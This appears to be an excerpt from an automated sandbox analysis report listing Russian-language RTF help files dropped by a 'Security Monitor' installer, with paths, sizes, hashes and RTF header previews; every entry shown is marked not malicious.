Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-HH2CV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	45355
Entropy (8bit):	5.032998271538751
Encrypted:	false
SSDEEP:	768:qqeXxd/1Ca9DGi3w2EHnT2njX8x3FXbv4CD5klkhuhr7RVRatot7kzkAkqkVk2gJ:qqoC8IA9E
MD5:	37B0C0E48F0AF77161430D5DE894A950
SHA1:	9D27E00A6B141CA123DA1E9E0C7C768CB89910E0
SHA-256:	61FCA2437288DDC4692FE93CCE90C3C72C0ADDBD08C5662F391F6EF694B27256
SHA-512:	AC5463F888305FA6BBAB57CA80570B51249A2719C8A1B116B4EB574EEB2D724718CC676092CEA9241F3B72C2B2D0C63137553A7CE4DD8A871ED46E37D63FFEC1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-JBO5T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	49985
Entropy (8bit):	5.016054674805171
Encrypted:	false
SSDEEP:	768:qqegxdUjOcPI0QhhiLVptabQhOsWxspoudZdRdud9dWlxjRw4L41PcQhiuOdcJpw:qqH7UnexIA9k
MD5:	6817C14DB33376EA13F5135582FEF07A
SHA1:	AC55EF25E5BA0C63319C2B7750AD3FB3B6141D1D
SHA-256:	8E6A77CDCF0EB74491B22151BCC19798620754E7F069D76227F8C2C1E28778B7
SHA-512:	81B3E721842C1F1CA3581AF69CB6495756EECAFD14385C512E5CEDFAF98BBED387D6B9AB27ED76754B17FFDB8B2E5414108702BD6E5B4A8DA27E821D9D7FF3B6
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-KPRD8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48379
Entropy (8bit):	4.996608771533116
Encrypted:	false
SSDEEP:	768:q4e94jXjOcPI0QhhiLV9xB3T7JileOhvbNbZWvsn53NB0DNZGky8OF5x1A58GaQg:q49OUnIIA9p
MD5:	B8EA7A3C55CE02A64BA0AF23B9B85E3E
SHA1:	8DFFB3874BBD2EA54BE1E6D87356126B1E73F290
SHA-256:	792111EFE4C09E3F68D0E2A5344ACC12D63B351BAE5F1654FCC36F2471ED7667
SHA-512:	A8A46F16EC9F8CE3670B171DD90F84F9D1F6CD15FC0428E3DB95ADB4AE302D0A82FF837A9C1DD32EAEEB7D8A58F942DB79461FB5BA36C869CBF4EA7210747007
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-KPTAM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42635
Entropy (8bit):	5.046553170453071
Encrypted:	false
SSDEEP:	768:qqXqx1fDCcJJrNgVVhGPNhHwGNjm+epb/Vbc9DuUoU8Gmgflx6Z5zZ/6A9t:qq4e/DIA9t
MD5:	60B7129A13E0CE865F60703FC49D7E1D
SHA1:	96BDB21054BEE9F42FEF53360847FCE57AE3269B
SHA-256:	C68038C41212344C10D0194438D8BF503F3CAB8ED9AEA1B24E91EF989CC14923
SHA-512:	022BCBD14748D9C947F7B93EAC6D38D59F5BD39DFF22E62E16F1C5EC6FEF50BECA4AADE8CFBF745AF7055CEEB91F3DBB7D42117FADBE7149F627262E9654C66C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panos

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-NFB9T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	43030
Entropy (8bit):	5.037181036721856
Encrypted:	false
SSDEEP:	768:qqel4jeXCpMF2njX8x3JLjwUtqYepjRBcnjX8x3TRbyqfVHVU3icdXPIZnZ/6A9C:qq3pDIA9C
MD5:	67B098FD7DC727E81D9D9FB9A520E1CE
SHA1:	F6D0526FD0E5F10956988840D866DD2222ABF783
SHA-256:	C3AF56E516BBA805D97730CC1303C32539C72A4E93F598F599EE4DE1756AB0BF
SHA-512:	65718F4601D9636CE73B3B5D2E5EDC62B34DAE818C7450033BEC2221916E8AC81316D6EB3F3690186E3A505F82192A4C1EE34D12606690B3B266A2BEDE2F7DEA
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-VKPQ0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	80841
Entropy (8bit):	4.938561816408635
Encrypted:	false
SSDEEP:	768:qqFy4Ix1ELz8lH0RvI9uMT98i3w2EH6mlH0RvI96M0+IOq4e4ewuwPkvEaUuuSD8:qqJC08J+nMVIA94
MD5:	22F333AB0A5F3E545899218EE216E751
SHA1:	50AB0BCFD2E86F7FD771C7CB18346AEACF834557
SHA-256:	5C6BC98349F242C511354DE1383E1F4C1D294118E300CF9DD5B0A8C937A17DD0
SHA-512:	2FD3FCFC64C9E870915CE1D8830E0F69031370DA502C4158D212F42FCAFF55BD0CBBFB915AD94A193BB7DEE8426167669FBD87C932BCE4D1591D2784744EFBB5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\keyboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	45355
Entropy (8bit):	5.032998271538751
Encrypted:	false
SSDEEP:	768:qqeXxd/1Ca9DGi3w2EHnT2njX8x3FXbv4CD5klkhuhr7RVRatot7kzkAkqkVk2gJ:qqoC8IA9E
MD5:	37B0C0E48F0AF77161430D5DE894A950
SHA1:	9D27E00A6B141CA123DA1E9E0C7C768CB89910E0
SHA-256:	61FCA2437288DDC4692FE93CCE90C3C72C0ADDBD08C5662F391F6EF694B27256
SHA-512:	AC5463F888305FA6BBAB57CA80570B51249A2719C8A1B116B4EB574EEB2D724718CC676092CEA9241F3B72C2B2D0C63137553A7CE4DD8A871ED46E37D63FFEC1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\law_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	34281
Entropy (8bit):	5.012287301852251
Encrypted:	false
SSDEEP:	384:2aFkTZ0dW2OTYn/akt0LL32En4leo75Y3kpTBLRA6AlEayv:2aFkA0LL32EhZ/6A9O
MD5:	EDED564ACC58819DE344EDCF72FC398B
SHA1:	5BE5194C6D1F83EB91B5ADC4F165BF49EA393FD1
SHA-256:	A036B3EA04F1F8A0C6DF8948FD2ECE8422AF95438DF6FE40AF14D46C457C387A
SHA-512:	3AC8B47B305149067386772E289302033EAB223D1C1B64474268B6DE8BE444377640BCB0F852DA53FBC0B7B17F71EA84AA2CA360F9D6CB938C502B1F689A9B7F
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\logging.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	53477
Entropy (8bit):	4.993468879548167
Encrypted:	false
SSDEEP:	768:q4eDwJeLCdAT2njX8x3l7G5V5V5h5G5P5N58UkbdSLVMVIs2TFDtyZ12TXW++xUu:q4ZVFIA9b
MD5:	E70B7387C930D96F979C15DEF4A0EF82
SHA1:	9885403B2230DB0BC89F6C12A5326C28DD5C0ABB
SHA-256:	2ECA499E76C966798F73BFF750D868951A1F337854402446D060919F2D10CE87
SHA-512:	D37DA2B1EBF5808CBBE89163FDEEBB96E842F5FD3CC4A7523F478CA1433BF1F826F44EB219E397F8A427B4884A1987BF435D19F5C809BD06B1E7600E4FD5980C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\noPRO.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	59300
Entropy (8bit):	4.973759890149894
Encrypted:	false
SSDEEP:	768:qqe+2VXLcpErLVYZx1M8j5g5V5V5h5G5P5N5hBcqtqYepAkVZEdvI9TMMf4fPOj/:qqqcshf4fH6IA9h
MD5:	00483C12EB7B2424B5A2C264DBFBAD6F
SHA1:	3038291DC4B40B6C269A24727F175504F09DD532
SHA-256:	BC9B42D7D66A88398A3FFEAB5790818CCB2DF9FA4B24FC8524F86F23930A8ED4
SHA-512:	04B58420762D90E1564AB6635B718FA47CB71795B743CC42FBC7B54B01D6243083C39A99B9A276F9290BC7FC4989AE0970DB35DBDBAAC92E9B80B69FBEC71693
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\noURL.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	80841
Entropy (8bit):	4.938561816408635
Encrypted:	false
SSDEEP:	768:qqFy4Ix1ELz8lH0RvI9uMT98i3w2EH6mlH0RvI96M0+IOq4e4ewuwPkvEaUuuSD8:qqJC08J+nMVIA94
MD5:	22F333AB0A5F3E545899218EE216E751
SHA1:	50AB0BCFD2E86F7FD771C7CB18346AEACF834557
SHA-256:	5C6BC98349F242C511354DE1383E1F4C1D294118E300CF9DD5B0A8C937A17DD0
SHA-512:	2FD3FCFC64C9E870915CE1D8830E0F69031370DA502C4158D212F42FCAFF55BD0CBBFB915AD94A193BB7DEE8426167669FBD87C932BCE4D1591D2784744EFBB5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\norton_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	54989
Entropy (8bit):	5.004403089561587
Encrypted:	false
SSDEEP:	1536:2aqAse39REjyW0ywGa2eI9Cj+uFECVCjuizCaIizg8zku0+zkuQPChJsCGJ7CdJ+:2B/i+uFEwmuizbIizg8zku0+zkugsGLZ
MD5:	D8DFDDE0D2E5EE7768A3D91D9CD9D014
SHA1:	4C1B8C8205715F8858FA089D887D2A49DC89EC77
SHA-256:	E3409500600560293AC4C89EE3FFB02B854E9CE26926C9C592DB11979288C0BA
SHA-512:	161A64A5B4F8C877661DE001A5293831D351E5294AF76F66441B6DF13AAF5976506ADD1A17F0EAE5126B72F1096AE9A745F1042BD6F9D0AA880F24C726027DF9
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\scheduler.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42635
Entropy (8bit):	5.046553170453071
Encrypted:	false
SSDEEP:	768:qqXqx1fDCcJJrNgVVhGPNhHwGNjm+epb/Vbc9DuUoU8Gmgflx6Z5zZ/6A9t:qq4e/DIA9t
MD5:	60B7129A13E0CE865F60703FC49D7E1D
SHA1:	96BDB21054BEE9F42FEF53360847FCE57AE3269B
SHA-256:	C68038C41212344C10D0194438D8BF503F3CAB8ED9AEA1B24E91EF989CC14923
SHA-512:	022BCBD14748D9C947F7B93EAC6D38D59F5BD39DFF22E62E16F1C5EC6FEF50BECA4AADE8CFBF745AF7055CEEB91F3DBB7D42117FADBE7149F627262E9654C66C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panos

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\screenshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	50749
Entropy (8bit):	5.025992337478631
Encrypted:	false
SSDEEP:	768:qqFywxd/cCcJ+Lj5g5V5V5h5G5P5N5hBcqtqYepnnbxa10C0O0N0e0x0b0o0g0sq:qq/MlIA9E
MD5:	4091E666BD6CCC6971AE0F510870DB42
SHA1:	E21753F9D29706ECCD6371C10A0CE598C80C64D1
